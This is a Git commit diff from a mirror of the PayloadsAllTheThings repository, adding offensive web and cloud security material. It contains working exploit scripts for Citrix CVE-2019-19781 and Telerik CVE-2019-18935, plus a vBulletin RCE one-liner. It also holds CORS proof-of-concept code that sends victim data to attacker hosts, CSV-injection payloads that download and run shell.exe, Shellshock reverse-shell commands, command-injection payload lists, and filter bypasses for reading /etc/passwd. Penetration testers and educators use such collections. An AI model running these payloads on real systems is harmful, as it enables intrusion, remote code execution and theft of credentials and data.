1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-06-04 12:46:21 +02:00

Merge pull request #1 from swisskyrepo/master

Update
This commit is contained in:
bohdansec 2020-04-22 00:12:54 +03:00 committed by GitHub
commit 2615968e96
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
114 changed files with 8099 additions and 1927 deletions

5
.github/FUNDING.yml vendored Normal file
View File

@ -0,0 +1,5 @@
# These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
ko_fi: swissky # Replace with a single Ko-fi username
custom: https://www.buymeacoffee.com/swissky

128
API Key Leaks/README.md Normal file
View File

@ -0,0 +1,128 @@
# API Key Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developpers might hardcode them or leave it on public shares.
## Summary
- [Tools](#tools)
- [Exploit](#exploit)
- [Google Maps](#google-maps)
- [Algolia](#algolia)
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
- [Slack API Token](#slack-api-token)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [Auth Bypass using pre-published Machine Key](#auth-bypass-using-pre-published-machine-key)
## Tools
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
## Exploit
The following commands can be used to takeover accounts or extract personnal informations from the API using the leaked token.
### Google Maps
Use : https://github.com/ozguralp/gmapsapiscanner/
Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
### Algolia
```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```
### AWS Access Key ID & Secret
```powershell
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
./enumerate-iam.py --access-key AKIA... --secret-key XXX..
```
### Slack API Token
```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```
### Facebook Access Token
```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```
### Github client id and client secret
```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```
### Twilio Account_sid and Auth token
```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
### Twitter API Secret
```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
### Twitter Bearer Token
```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
### Gitlab Personal Access Token
```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```
### Auth Bypass using pre-published Machine Key
> By default, ASP.NET creates a Forms Authentication Ticket with unique a username associated with it, Date and Time at which the ticket was issued and expires. So, all you need is just a unique username and a machine key to create a forms authentication token
That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Exploit with [Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
## References
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)

View File

@ -152,22 +152,24 @@ aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWr
## AWS - Extract Backup
```powershell
aws --profile flaws sts get-caller-identity
$ aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
$ aws --profile profile_name ec2 describe-snapshots
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
Create a volume using snapshot
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
chmod 400 YOUR_KEY.pem
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
$ chmod 400 YOUR_KEY.pem
$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
Mount the volume
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
$ lsblk
$ sudo file -s /dev/xvda1
$ sudo mount /dev/xvda1 /mnt
```
## Bucket juicy data
@ -184,6 +186,32 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## Enumerate IAM permissions
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
```powershell
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```
## References
@ -192,3 +220,6 @@ For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)

View File

@ -0,0 +1,180 @@
# CORS Misconfiguration
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attackers site using the victims credentials.
## Summary
* [Prerequisites](#prerequisites)
* [Exploitation](#exploitation)
* [References](#references)
## Prerequisites
* BURP HEADER> `Origin: https://evil.com`
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
## Exploitation
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target **https://victim.example.com/endpoint**.
### Vulnerable Example: Origin Reflection
#### Vulnerable Implementation
```powershell
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
#### Proof of concept
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
```
or
```html
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://victim.example.com/endpoint", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
```
### Vulnerable Example: Null Origin
#### Vulnerable Implementation
It's possible that the server does not reflect the complete `Origin` header but
that the `null` origin is allowed. This would look like this in the server's
response:
```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
{"[private API key]"}
```
#### Proof of concept
This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the `null`
origin in the request:
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Vulnerable Example: XSS on Trusted Origin
If the application does implement a strict whitelist of allowed origins, the
exploit codes from above do not work. But if you have an XSS on a trusted
origin, you can inject the exploit coded from above in order to exploit CORS
again.
```
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
```
### Vulnerable Example: Wildcard Origin `*` without Credentials
If the server responds with a wildcard origin `*`, the browser does never send
the cookies. Howver, if the server does not require authentication, it's still
possible to access the data on the server. This can happen on internal servers
that are not accessible from the Internet. The attacker's website can then
pivot into the internal network and access the server's data withotu
authentication.
#### Vulnerable Implementation
```powershell
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"[private API key]"}
```
#### Proof of concept
```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.internal.example.com/endpoint',true);
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
```
## Bug Bounty reports
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
## References
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)

View File

@ -1,8 +1,16 @@
# CRLF
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## Summary
- [CRLF - Add a cookie](#crlf---add-a-cookie)
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
- [CRLF - Write HTML](#crlf---write-html)
- [CRLF - Filter Bypass](#crlf---filter-bypass)
- [References](#references)
## CRLF - Add a cookie

View File

@ -7,6 +7,18 @@
* [Methodology](#methodology)
* [Payloads](#payloads)
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
* [JSON GET - Simple Request](#json-get---simple-request)
* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [References](#references)
## Tools
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
## Methodology
@ -16,19 +28,19 @@
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
### HTML GET Requiring User Interaction for Proof-of-Concept
### HTML GET - Requiring User Interaction
```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```
### HTML GET (No User Interaction)
### HTML GET - No User Interaction
```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```
### HTML POST Requiring User Interaction for Proof-of-Concept
### HTML POST - Requiring User Interaction
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
@ -37,7 +49,7 @@ When you are logged in to a certain site, you typically have a session. The iden
</form>
```
### HTML POST (AutoSubmit No User Interaction)
### HTML POST - AutoSubmit - No User Interaction
```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
@ -51,7 +63,7 @@ When you are logged in to a certain site, you typically have a session. The iden
```
### JSON GET Simple Request
### JSON GET - Simple Request
```html
<script>
@ -61,7 +73,7 @@ xhr.send();
</script>
```
### JSON POST Simple Request
### JSON POST - Simple Request
```html
<script>
@ -76,7 +88,7 @@ xhr.send('{"role":admin}');
</script>
```
### JSON POST Complex Request
### JSON POST - Complex Request
```html
<script>
@ -102,4 +114,5 @@ xhr.send('{"role":admin}');
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)

View File

@ -7,10 +7,19 @@ Many web applications allow the user to download content such as templates for i
Basic exploit with Dynamic Data Exchange
```powershell
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
Technical Details of the above payload:
@ -34,4 +43,6 @@ Any formula can be started with
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)

View File

@ -0,0 +1,51 @@
#!/usr/bin/env python
# https://github.com/mpgn/CVE-2019-19781
# # #
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break

View File

@ -10,8 +10,9 @@ The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptograph
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
```bash
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.0.XX 4444 -e /bin/sh\r\n
```powershell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
```
## CVE-2017-5638 - Apache Struts 2
@ -22,6 +23,20 @@ On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
## CVE-2019-19781 - Citrix ADC Netscaler
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
Technology Affect:
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
## Thanks to
* [Heartbleed - Official website](http://heartbleed.com)

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,140 @@
#!/usr/bin/env python3
# origin : https://github.com/noperator/CVE-2019-18935
# INSTALL:
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
# python3 -m venv env
# source env/bin/activate
# pip3 install -r requirements.txt
# Import encryption routines.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher
from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1'
}
response = post(url, files=files, verify=False, headers=headers)
try:
result = loads(response.text)
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
pprint(result)
except:
print(response.text)
def build_raupostdata(object, type):
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData.
object = {
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
'MaxFileSize': 0,
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
'Ticks': 1440000000000,
'Days': 0,
'Hours': 40,
'Minutes': 0,
'Seconds': 0,
'Milliseconds': 0,
'TotalDays': 1.6666666666666666,
'TotalHours': 40,
'TotalMinutes': 2400,
'TotalSeconds': 144000,
'TotalMilliseconds': 144000000
},
'UseApplicationPoolImpersonation': False
}
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f:
payload = f.read()
metadata = {
'TotalChunks': 1,
'ChunkIndex': 0,
'TotalFileSize': 1,
'UploadID': filename_remote # Determines remote filename on disk.
}
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata),
'file': (filename_remote, payload, 'application/octet-stream'),
'fileName': (None, filename_remote),
'contentType': (None, 'application/octet-stream'),
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
'metadata': (None, dumps(metadata))
}
# Send request.
print('[*] Local payload name: ', filename_local, file=stderr)
print('[*] Destination folder: ', temp_target_folder, file=stderr)
print('[*] Remote payload name:', filename_remote, file=stderr)
print(file=stderr)
send_request(files)
def deserialize():
# Build rauPostData.
object = {
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
}
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(object, type)
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata), # Only need this now.
'': '' # One extra input is required for the page to process the request.
}
# Send request.
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
start = time()
send_request(files)
end = time()
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\\')
ui_version = args.ui_version
net_version = args.net_version
filename_local = args.payload
filename_remote = str(time()) + splitext(basename(filename_local))[1]
url = args.url
upload()
if not args.test_upload:
deserialize()

View File

@ -0,0 +1 @@
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"

View File

@ -3,19 +3,28 @@
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
";id;"
';id;'
;id;
;id
;netstat -a;
;id;
"|id|"
'|id|'
|id
|/usr/bin/id
|id|
"|/usr/bin/id|"
'|/usr/bin/id|'
|/usr/bin/id|
"||/usr/bin/id|"
'||/usr/bin/id|'
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
"\n/bin/ls -al\n"
'\n/bin/ls -al\n'
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
@ -56,8 +65,12 @@ a|/usr/bin/id
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%22%0A/usr/bin/id%0A%22
%27%0A/usr/bin/id%0A%27
%0A/usr/bin/id%0A
%0Aid%0A
"& ping -i 30 127.0.0.1 &"
'& ping -i 30 127.0.0.1 &'
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a

View File

@ -12,11 +12,12 @@
* [Filter Bypasses](#filter-bypasses)
* [Bypass without space](#bypass-without-space)
* [Bypass with a line return](#bypass-with-a-line-return)
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
* [Bypass blacklisted words](#bypass-blacklisted-words)
* [Bypass with single quote](#bypass-with-a-single-quote)
* [Bypass with double quote](#bypass-with-a-double-quote)
* [Bypass with single quote](#bypass-with-single-quote)
* [Bypass with double quote](#bypass-with-double-quote)
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
* [Bypass with $@](#bypass-with-----)
* [Bypass with $@](#bypass-with-)
* [Bypass with variable expansion](#bypass-with-variable-expansion)
* [Bypass with wildcards](#bypass-with-wildcards)
* [Challenge](#challenge)
@ -108,6 +109,58 @@ ping%PROGRAMFILES:~10,-5%IP
something%0Acat%20/etc/passwd
```
### Bypass characters filter via hex encoding
linux
```
swissky@crashlab▸ ~ ▸ $ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```
### Bypass characters filter
Commands execution without backslash and slash - linux bash
```
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1}
/
